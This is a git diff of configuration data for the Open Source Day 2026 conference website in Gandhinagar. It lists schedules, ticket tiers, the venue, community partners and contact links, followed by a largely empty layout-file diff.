"🤝", + color: "from-amber-500 to-orange-600", + badge: "Open", + deadline: "31st March 2026", + enable: true, + }, + { + title: "Call for Community Partners", + description: "Partner with us to amplify the open source movement together.", + href: "/cfc", + emoji: "🌐", + color: "from-sky-500 to-blue-600", + badge: "Open", + deadline: "31st March 2026", + enable: true, + }, + { + title: "Call for Evangelists", + description: "Spread the word about OSD 2026 and help grow our reach.", + href: "/cfe", + emoji: "📣", + color: "from-pink-500 to-rose-600", + badge: "Open", + deadline: "21st March 2026", + enable: true, + }, + { + title: "Call for Booth", + description: "Showcase your project, product, or community with a booth at OSD 2026.", + href: "/cfb", + emoji: "🏢", + color: "from-gray-500 to-gray-600", + badge: "Open", + deadline: "31st March 2026", + enable: true, + }, +]; + +export const eventSchedule = [ + { + time: "08:00 AM – 09:30 AM", + title: "Registration & Welcome Kit", + speaker: "", + type: "registration", + room: "Lobby", + }, + { + time: "09:30 AM – 10:00 AM", + title: "Warm Up Activity & Icebreaker", + speaker: "", + type: "activity", + room: "Main Auditorium", + }, + { + time: "10:00 AM – 10:15 AM", + title: "Welcome Note", + speaker: "", + type: "opening", + room: "Main Auditorium", + }, + { + time: "10:15 AM – 10:45 AM", + title: "Opening Keynote — TBA", + speaker: "Speaker TBA", + type: "keynote", + room: "Main Auditorium", + }, + { + time: "10:45 AM – 11:30 AM", + title: "Technical Session — TBA", + speaker: "Speaker TBA", + type: "talk", + room: "Main Auditorium", + }, + { + time: "11:30 AM – 12:45 PM", + title: "Devroom Workshop — TBA", + speaker: "Speaker TBA", + type: "Devroom (Parallel)", + room: "Secondary Hall", + isPanelLeft: true, + }, + { + time: "11:30 AM – 12:00 PM", + title: "Technical Talk — TBA", + speaker: "Speaker TBA", + type: "talk", + room: "Main Auditorium", + isPanelRight: true, + }, + { + time: "12:00 PM – 12:45 PM", + title: "CXO Panel Discussion", + speaker: "Panelists TBA", + type: "CXO Panel Discussion", + room: "Main Auditorium", + isPanelRight: true, + }, + { + time: "12:45 PM – 01:45 PM", + title: "Lunch & Networking", + speaker: "", + type: "break", + room: "Food Court", + }, + { + time: "01:45 PM – 03:00 PM", + title: "Hands-On Workshop — TBA", + speaker: "Speaker TBA", + type: "Devroom (Parallel)", + room: "Secondary Hall", + isPanelLeft: true, + }, + { + time: "01:45 PM – 02:30 PM", + title: "Technical Talk — TBA", + speaker: "Speaker TBA", + type: "talk", + room: "Main Auditorium", + isPanelRight: true, + }, + { + time: "02:30 PM – 03:00 PM", + title: "Technical Talk — TBA", + speaker: "Speaker TBA", + type: "talk", + room: "Main Auditorium", + isPanelRight: true, + }, + { + time: "03:00 PM – 03:45 PM", + title: "Community Panel Discussion", + speaker: "Panelists TBA", + type: "Community Panel Discussion", + room: "Main Auditorium", + }, + { + time: "03:45 PM – 04:15 PM", + title: "Technical Talk — TBA", + speaker: "Speaker TBA", + type: "talk", + room: "Main Auditorium", + }, + { + time: "04:15 PM – 04:45 PM", + title: "Closing Keynote — TBA", + speaker: "Speaker TBA", + type: "Closing Keynote", + room: "Main Auditorium", + }, + { + time: "04:45 PM – 05:00 PM", + title: "Closing Remarks", + speaker: "", + type: "Closing", + room: "Main Auditorium", + }, + { + time: "05:00 PM – 05:30 PM", + title: "Goodies Distribution & Networking", + speaker: "", + type: "Social", + room: "Exhibition Hall", + }, +]; + +export const workshopSchedule = [ + { + time: "09:30 AM – 10:00 AM", + title: "Event Introduction & Icebreaker", + speaker: "", + type: "activity", + }, + { + time: "10:00 AM – 11:30 AM", + title: "Workshop 1 — TBA", + speaker: "Speaker TBA", + type: "workshop", + }, + { + time: "11:30 AM – 1:00 PM", + title: "Workshop 2 — TBA", + speaker: "Speaker TBA", + type: "workshop", + }, + { + time: "01:00 PM – 02:00 PM", + title: "Lunch & Networking", + speaker: "", + type: "break", + }, + { + time: "02:00 PM – 03:00 PM", + title: "Workshop 3 — TBA", + speaker: "Speaker TBA", + type: "workshop", + }, + { + time: "03:00 PM – 04:00 PM", + title: "Workshop 4 — TBA", + speaker: "Speaker TBA", + type: "workshop", + }, + { + time: "04:00 PM – 05:00 PM", + title: "Project Development & Demo", + speaker: "OSD Team", + type: "panel", + }, + { + time: "05:00 PM – 05:15 PM", + title: "Closing Remarks", + speaker: "", + type: "closing", + }, +]; + +export const OUR_SPEAKERS = [ + { + name: "Speaker TBA", + position: "Keynote Speaker", + company: "To Be Announced", + event: "Keynote", + presentationTitle: "Opening Keynote — coming soon", + }, + { + name: "Speaker TBA", + position: "Industry Leader", + company: "To Be Announced", + event: "Closing Keynote", + presentationTitle: "Closing Keynote — coming soon", + }, + { + name: "Speaker TBA", + position: "Open Source Expert", + company: "To Be Announced", + event: "Technical Talk", + presentationTitle: "Technical Talk — coming soon", + }, + { + name: "Speaker TBA", + position: "Cloud & DevOps Expert", + company: "To Be Announced", + event: "Technical Talk", + presentationTitle: "Technical Talk — coming soon", + }, + { + name: "Speaker TBA", + position: "AI & ML Engineer", + company: "To Be Announced", + event: "Workshop", + presentationTitle: "Hands-On Workshop — coming soon", + }, + { + name: "Speaker TBA", + position: "Community Leader", + company: "To Be Announced", + event: "Panel", + presentationTitle: "Community Panel — coming soon", + }, +]; + +export const TICKETS = [ + { + name: "Super Early Bird Ticket", + price: "₹350", + originalPrice: 350, + description: "Super Early Bird pricing with full conference access. Limited availability!", + features: ["Full-access to conference", "Breakfast & Lunch", "Keynotes, Panels, Workshop", "OSD Goodies", "Super Early Bird Discount"], + popular: true, + available: true, + alert: { + text: "Most Awaited", + classes: "text-white bg-green-500", + }, + konfhubUrl: "/purchase", + linkText: "Register Now", + }, + { + name: "Early Bird Ticket", + price: "₹450", + originalPrice: 450, + description: "Early bird pricing with full conference access. Limited availability!", + features: ["Full-access to conference", "Breakfast & Lunch", "Keynotes, Panels, Workshop", "OSD Goodies", "Early Bird Discount"], + popular: false, + available: false, + alert: { + text: "Coming Soon", + classes: "text-white bg-green-500", + }, + konfhubUrl: "/purchase", + linkText: "Coming Soon", + }, + { + name: "Regular Ticket", + price: "₹700", + originalPrice: 700, + description: "Full conference access including lunch, keynotes, panels, and OSD goodies.", + features: ["Full-access to conference", "Breakfast & Lunch", "Keynotes, Panels, Workshop", "OSD Goodies"], + popular: false, + available: false, + alert: { + text: "Most Popular", + classes: "text-white bg-green-600", + }, + konfhubUrl: "/purchase", + linkText: "Coming Soon", + }, + { + name: "Community Fan", + price: "₹999", + originalPrice: 999, + description: "This ticket for all our community people who constantly support us and create a vibrant community.", + features: [ + "Full-access to conference", + "Breakfast & Lunch", + "Keynotes, Panels, Workshops", + "OSD Goodies", + "Super Fan Goodies (Tshirts etc)", + "Digital Certificate", + ], + popular: false, + available: true, + alert: { + text: "Most Preferred", + classes: "text-white bg-blue-500", + }, + konfhubUrl: "/purchase", + linkText: "Register Now", + }, + { + name: "Supporter Ticket", + price: "₹1,999", + originalPrice: 1999, + description: "This ticket for all our community people who constantly support us and create a vibrant community.", + features: [ + "Full-access to conference", + "Breakfast, Lunch & High-Tea with Speakers and Organizers on the event day ", + "Keynotes, Panels, Workshop", + "OSD Goodies", + "Supporter Exclusive goodies (Including Token of Apprecation,Tshirt etc.)", + "Digital Certificate", + "Priority Pass", + ], + popular: false, + available: true, + konfhubUrl: "/purchase", + linkText: "Register Now", + }, + { + name: "Silver Ticket", + price: "₹4,999", + originalPrice: 4999, + description: "This ticket for all our community people who constantly support us and create a vibrant community.", + features: [ + "Full-access to conference", + "Breakfast, Lunch & High-Tea with Speakers and Organizers on the event day ", + "Keynotes, Panels, Workshop", + "OSD Goodies", + "Silver Ticket Exclusive goodies (Including Token of Apprecation,Tshirt etc.)", + "Digital Certificate", + "VIP Pass", + "Shout out during the event", + "Shout-out on Social Media", + "Networking Dinner with Speakers , sponsors , organizers and some special industry invitees", + ], + popular: false, + available: true, + konfhubUrl: "/purchase", + linkText: "Register Now", + extra: + "We are a registered Non-Profit, Section-8 Organization. This Ticket would be considered as a Donation which could be claimed in 80G & 12AA Tax Exemption. For more details Contact Event Organizers.", + }, + { + name: "Golden Ticket", + price: "₹9,999", + originalPrice: 9999, + description: "This ticket for all our community people who constantly support us and create a vibrant community.", + features: [ + "Full-access to conference", + "Breakfast, Lunch & High-Tea with Speakers and Organizers on the event day ", + "Keynotes, Panels, Workshop", + "OSD Goodies", + "Golden Ticket Exclusive goodies", + "Digital Certificate", + "Networking Dinner with Speakers, sponsors, organizers and some special industry invitees", + "Shout-out on Social Media", + "Shout out during the event", + "Appreciation Memento from OSD", + ], + popular: false, + available: true, + konfhubUrl: "mailto:opensourceweekend@gmail.com", + linkText: "Contact Organizers", + extra: + "We are a registered Non-Profit, Section-8 Organization. This Ticket would be considered as a Donation which could be claimed in 80G & 12AA Tax Exemption. For more details Contact Event Organizers.", + }, + { + name: "Micro Sponsor (Pack of 3 Golden Ticket)", + price: "₹29,999", + originalPrice: 29999, + description: + "This ticket for all our community people who constantly support us and create a vibrant community. (Ideal for Startup & MSME to get Visibility)", + featureTitle: "Pack of 3 Tickets includes:", + features: [ + "Full-access to conference", + "Breakfast, Lunch & High-Tea with Speakers and Organizers on the event day", + "Keynotes, Panels, Workshop", + "OSD Goodies", + "Golden Ticket Exclusive goodies", + "Digital Certificate", + "Networking Dinner with Speakers , sponsors , organizers and some special industry invitees", + "Company Branding at relevant places", + "Shout-out during the event", + "Shout-out on Social Media", + "Appreciation Memento from OSD", + ], + popular: false, + available: true, + konfhubUrl: "mailto:opensourceweekend@gmail.com", + linkText: "Contact Organizers", + extra: + "We are a registered Non-Profit, Section-8 Organization. This Ticket would be considered as a Donation which could be claimed in 80G & 12AA Tax Exemption. For more details Contact Event Organizers.", + }, +]; + +export const VENUE = { + name: "DAIICT - DAU (Dhirubhai Ambani University)", + address: "Gandhinagar, Gujarat, India", + date: "04 April 2026", + description: "Full day event with multiple tracks at DAIICT - DAU, Gandhinagar.", + capacity: "600+ attendees", + format: "Full day event · Multiple tracks", + googleMapsLink: "https://maps.app.goo.gl/G8zTiuN7oZp1x8qu9", + facilities: [ + "Large auditorium with 500+ seats", + "Multiple workshop rooms", + "Networking lounge and exhibition area", + "High-speed WiFi throughout", + "Professional A/V equipment", + "Accessible facilities", + ], +}; + +// Reuse 2025 sponsor data as placeholders +export const SPONSOR_TIERS = { + gold: [ + { name: "OSCF", logo: "/icons/OSCF.png", website: "#" }, + { name: "OSW", logo: OSWBlack.src, website: "#" }, + { name: "CCSF", logo: "/icons/CCSF.png", website: "#" }, + ], +}; + +export const EVENT_PARTNER = [ + { + id: 1, + name: "Partner TBA", + logo: "/icons/OSDGreen.svg", + website: "#", + }, +]; + +export const VENUE_PARTNER = [ + { + id: 1, + name: "Venue Partner TBA", + logo: "/icons/OSDGreen.svg", + website: "#", + }, +]; + +export const COMMUNITY_PARTNERS = [ + { + id: 1, + name: "GDG Gandhinagar", + logo: "/partners/gdg_gandhinagar.png", + website: "#", + }, + { + id: 2, + name: "GDG Cloud Gandhinagar", + logo: "/partners/gdg_cloud_gandhinagar.png", + website: "#", + }, + { + id: 3, + name: "FFDG Vadodara", + logo: "/partners/ffdg_vadodara.svg", + website: "#", + }, + { + id: 4, + name: "GDG Cloud Rajkot", + logo: "/partners/gdg_cloud_rajkot.png", + website: "#", + }, + { id: 5, name: "GDG Surat", logo: "/partners/gdg_surat.png", website: "#" }, + { + id: 6, + name: "CNCG Gandhinagar", + logo: "/partners/cncg_gandhinagar.png", + website: "#", + }, + { + id: 7, + name: "Hashicorp Ahmedabad", + logo: "/partners/hashicorp_ahmedabad.jpg", + website: "#", + }, + { + id: 8, + name: "Grafana Ahmedabad", + logo: "/partners/grafana_ahmedabad.png", + website: "#", + }, + { + id: 9, + name: "Ahmedabad Developer Club", + logo: "/partners/ahmedabad_developer_club.jpg", + website: "#", + }, + { + id: 10, + name: "The Hackers Meetup", + logo: "/partners/the_hackers_meetup.png", + website: "#", + }, + { + id: 11, + name: "Java User Group Gujarat", + logo: "/partners/java_user_group_gujarat.svg", + website: "#", + }, + { + id: 12, + name: "GDG Cloud Ahmedabad", + logo: "/partners/gdg_cloud_ahmedabad.png", + website: "#", + }, + { + id: 13, + name: "GDG Ahmedabad", + logo: "/partners/gdg_ahmedabad.png", + website: "#", + }, + { + id: 14, + name: "FOSS United", + logo: "/partners/FOSS_United.png", + website: "#", + }, + { + id: 15, + name: "Docker Ahmedabad", + logo: "/partners/docker_ahmedabad.png", + website: "#", + }, + { + id: 16, + name: "Laravel Ahmedabad", + logo: "/partners/laravel_ahmedabad.png", + website: "#", + }, + { + id: 17, + name: "MongoDB Ahmedabad", + logo: "/partners/mongodb_ahmedabad.jpg", + website: "#", + }, + { + id: 18, + name: "Node Ahmedabad", + logo: "/partners/node_ahmedabad.jpg", + website: "#", + }, + { + id: 19, + name: "AWS Ahmedabad", + logo: "/partners/aws_ahmedabad.png", + website: "#", + }, + { + id: 20, + name: "CNCF Ahmedabad", + logo: "/partners/cncf_ahmedabad.jpg", + website: "#", + }, +]; + +// Past event images — reuse from 2025 assets + +import OSWApril_1 from "@/assets/PastEvents/OSW-april/20250405_114037.webp"; +import OSWApril_2 from "@/assets/PastEvents/OSW-april/20250405_123827.webp"; +import OSWApril_3 from "@/assets/PastEvents/OSW-april/20250405_140515.webp"; +import OSWApril_4 from "@/assets/PastEvents/OSW-april/20250405_142305.webp"; + +import OSW24_1 from "@/assets/PastEvents/OSW-24/20241013_111739.webp"; +import OSW24_2 from "@/assets/PastEvents/OSW-24/20241013_094102.webp"; +import OSW24_3 from "@/assets/PastEvents/OSW-24/20241013_094249.webp"; +import OSW24_4 from "@/assets/PastEvents/OSW-24/20241013_102037.webp"; +import OSW24_5 from "@/assets/PastEvents/OSW-24/20241013_102246.webp"; +import OSW24_6 from "@/assets/PastEvents/OSW-24/20241013_102037.webp"; +import OSW24_7 from "@/assets/PastEvents/OSW-24/20241013_124553.webp"; +import OSW24_8 from "@/assets/PastEvents/OSW-24/PXL_20241013_082514049.webp"; + +import OSWMAY_1 from "@/assets/PastEvents/OSW-may/Image_20250504_135007_012.webp"; +import OSWMAY_2 from "@/assets/PastEvents/OSW-may/Image_20250504_135032_445.webp"; + +import OSWJune23_1 from "@/assets/PastEvents/OSW-june-23/IMG20230625102644.webp"; +import OSWJune23_3 from "@/assets/PastEvents/OSW-june-23/IMG20230625121639.webp"; +import OSWJune23_4 from "@/assets/PastEvents/OSW-june-23/IMG_8038.webp"; + +import OSW23_1 from "@/assets/PastEvents/OSW-23/IMG_0759.webp"; +import OSW23_2 from "@/assets/PastEvents/OSW-23/IMG_0761.webp"; +import OSW23_3 from "@/assets/PastEvents/OSW-23/IMG_0767.webp"; + +import OSD2025_1 from "@/assets/PastEvents/OSD-25/20251005_095801.jpg"; +import OSD2025_2 from "@/assets/PastEvents/OSD-25/20251005_160054.jpg"; +import OSD2025_3 from "@/assets/PastEvents/OSD-25/20251005_160718.jpg"; +import OSD2025_4 from "@/assets/PastEvents/OSD-25/20251005_094301.jpg"; +import OSD2025_5 from "@/assets/PastEvents/OSD-25/20251005_100037.jpg"; +import OSD2025_6 from "@/assets/PastEvents/OSD-25/20251005_100149.jpg"; +import OSD2025_7 from "@/assets/PastEvents/OSD-25/20251005_122529.jpg"; +import OSD2025_8 from "@/assets/PastEvents/OSD-25/20251005_160011.jpg"; + +export const PastEvent = [ + { + year: "2025", + title: "Open Source Day 2025", + images: [OSD2025_1, OSD2025_2, OSD2025_3, OSD2025_4], + }, + { + year: "2025", + title: "OpenSourceWeekend: Product Collective (May 2025)", + images: [OSD2025_5, OSD2025_6, OSD2025_7, OSD2025_8], + }, + { + year: "2025", + title: "OpenSourceWeekend: Product Collective (April 2025)", + images: [OSWApril_1, OSWApril_2, OSWApril_3, OSWApril_4], + }, + { + year: "2024", + title: "2024 OpenSourceWeekend × Hacktoberfest", + images: [OSW24_1, OSW24_2, OSW24_3, OSW24_4, OSW24_5, OSW24_6, OSW24_7, OSW24_8], + }, + { + year: "2023", + title: "Open Source Talks (June 2023)", + images: [OSWJune23_1, OSWJune23_4, OSWJune23_3, OSWMAY_1, OSWMAY_2, OSWMAY_1], + }, + { + year: "2023", + title: "2023 OpenSourceWeekend × Hacktoberfest", + images: [OSW23_1, OSW23_2, OSW23_3], + }, +]; + +export const FOOTER = { + description: + "OpenSourceDay is all about giving back to the open source projects, sharpening your skills, and celebrating all things open source. Join us for 2026!", +}; + +export const SOCIAL_LINKS = [ + { + name: "Facebook", + href: "https://www.facebook.com/OSWeekend", + icon: FacebookIcon, + description: "Facebook", + }, + { + name: "Twitter", + href: "https://twitter.com/OSWeekend", + icon: TwitterIcon, + description: "Twitter icon", + }, + { + name: "Instagram", + href: "https://instagram.com/OSWeekend", + icon: InstagramIcon, + description: "Instagram icon", + }, + { + name: "LinkedIn", + href: "https://www.linkedin.com/company/open-source-weekend/", + icon: LinkedInIcon, + description: "LinkedIn icon", + }, + { + name: "Github", + href: "https://github.com/oscfcommunity", + icon: GithubIcon, + description: "Github icon", + }, + { + name: "Medium", + href: "https://medium.com/@opensourceweekend", + icon: MediumIcon, + description: "Medium icon", + }, +]; + +export const CONTACTS = [ + { + name: "Email", + content: "opensourceweekend@gmail.com", + href: "mailto:opensourceweekend@gmail.com", + icon: Mail, + }, + { + name: "Phone", + content: "+91 89 8080 8222", + href: "tel:+918980808222", + icon: Phone, + }, +]; diff --git a/src/layouts/Layout.astro b/src/layouts/Layout.astro index c4b3a90..e172d22 100644 --- a/src/layouts/Layout.astro +++ b/src/layouts/Layout.astro @@ -1,76 +1,76 @@ ---- -import { ClientRouter } from "astro:transitions"; - -import Navigation from "@/components/Navigation"; -import Footer from "@/components/Footer.astro"; - -import { SITE } from "@/config/config"; - -export interface Props { - title?: string; - description?: string; - ogImage?: string; - canonicalUrl?: URL; - activePath: string; -} - -const { title = SITE.title, description = SITE.description, ogImage = SITE.ogImage, canonicalUrl = Astro.url, activePath = "" } = Astro.props; - -// this commit is for building the site locally ---- - - - - - - - - - {title} - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- -
-